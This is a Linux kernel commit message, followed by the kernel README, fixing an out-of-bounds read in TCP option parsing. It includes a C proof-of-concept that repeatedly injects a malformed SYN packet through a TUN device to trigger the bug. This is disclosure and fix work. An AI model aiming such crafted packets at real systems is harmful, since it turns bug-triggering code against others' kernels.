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7e5a206ab6
The old code reads the "opsize" variable from out-of-bounds memory (first
byte behind the segment) if a broken TCP segment ends directly after an
opcode that is neither EOL nor NOP.
The result of the read isn't used for anything, so the worst thing that
could theoretically happen is a pagefault; and since the physmap is usually
mostly contiguous, even that seems pretty unlikely.
The following C reproducer triggers the uninitialized read - however, you
can't actually see anything happen unless you put something like a
pr_warn() in tcp_parse_md5sig_option() to print the opsize.
====================================
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <stdlib.h>
#include <errno.h>
#include <stdarg.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/in.h>
#include <linux/if_tun.h>
#include <err.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <assert.h>
void systemf(const char *command, ...) {
char *full_command;
va_list ap;
va_start(ap, command);
if (vasprintf(&full_command, command, ap) == -1)
err(1, "vasprintf");
va_end(ap);
printf("systemf: <<<%s>>>\n", full_command);
system(full_command);
}
char *devname;
int tun_alloc(char *name) {
int fd = open("/dev/net/tun", O_RDWR);
if (fd == -1)
err(1, "open tun dev");
static struct ifreq req = { .ifr_flags = IFF_TUN|IFF_NO_PI };
strcpy(req.ifr_name, name);
if (ioctl(fd, TUNSETIFF, &req))
err(1, "TUNSETIFF");
devname = req.ifr_name;
printf("device name: %s\n", devname);
return fd;
}
#define IPADDR(a,b,c,d) (((a)<<0)+((b)<<8)+((c)<<16)+((d)<<24))
void sum_accumulate(unsigned int *sum, void *data, int len) {
assert((len&2)==0);
for (int i=0; i<len/2; i++) {
*sum += ntohs(((unsigned short *)data)[i]);
}
}
unsigned short sum_final(unsigned int sum) {
sum = (sum >> 16) + (sum & 0xffff);
sum = (sum >> 16) + (sum & 0xffff);
return htons(~sum);
}
void fix_ip_sum(struct iphdr *ip) {
unsigned int sum = 0;
sum_accumulate(&sum, ip, sizeof(*ip));
ip->check = sum_final(sum);
}
void fix_tcp_sum(struct iphdr *ip, struct tcphdr *tcp) {
unsigned int sum = 0;
struct {
unsigned int saddr;
unsigned int daddr;
unsigned char pad;
unsigned char proto_num;
unsigned short tcp_len;
} fakehdr = {
.saddr = ip->saddr,
.daddr = ip->daddr,
.proto_num = ip->protocol,
.tcp_len = htons(ntohs(ip->tot_len) - ip->ihl*4)
};
sum_accumulate(&sum, &fakehdr, sizeof(fakehdr));
sum_accumulate(&sum, tcp, tcp->doff*4);
tcp->check = sum_final(sum);
}
int main(void) {
int tun_fd = tun_alloc("inject_dev%d");
systemf("ip link set %s up", devname);
systemf("ip addr add 192.168.42.1/24 dev %s", devname);
struct {
struct iphdr ip;
struct tcphdr tcp;
unsigned char tcp_opts[20];
} __attribute__((packed)) syn_packet = {
.ip = {
.ihl = sizeof(struct iphdr)/4,
.version = 4,
.tot_len = htons(sizeof(syn_packet)),
.ttl = 30,
.protocol = IPPROTO_TCP,
/* FIXUP check */
.saddr = IPADDR(192,168,42,2),
.daddr = IPADDR(192,168,42,1)
},
.tcp = {
.source = htons(1),
.dest = htons(1337),
.seq = 0x12345678,
.doff = (sizeof(syn_packet.tcp)+sizeof(syn_packet.tcp_opts))/4,
.syn = 1,
.window = htons(64),
.check = 0 /*FIXUP*/
},
.tcp_opts = {
/* INVALID: trailing MD5SIG opcode after NOPs */
1, 1, 1, 1, 1,
1, 1, 1, 1, 1,
1, 1, 1, 1, 1,
1, 1, 1, 1, 19
}
};
fix_ip_sum(&syn_packet.ip);
fix_tcp_sum(&syn_packet.ip, &syn_packet.tcp);
while (1) {
int write_res = write(tun_fd, &syn_packet, sizeof(syn_packet));
if (write_res != sizeof(syn_packet))
err(1, "packet write failed");
}
}
====================================
Fixes: cfb6eeb4c860 ("[TCP]: MD5 Signature Option (RFC2385) support.")
Signed-off-by: Jann Horn <jannh@google.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Linux kernel
============
There are several guides for kernel developers and users. These guides can
be rendered in a number of formats, like HTML and PDF. Please read
Documentation/admin-guide/README.rst first.
In order to build the documentation, use ``make htmldocs`` or
``make pdfdocs``. The formatted documentation can also be read online at:
https://www.kernel.org/doc/html/latest/
There are various text files in the Documentation/ subdirectory,
several of them using the Restructured Text markup notation.
See Documentation/00-INDEX for a list of what is contained in each file.
Please read the Documentation/process/changes.rst file, as it contains the
requirements for building and running the kernel, and information about
the problems which may result by upgrading your kernel.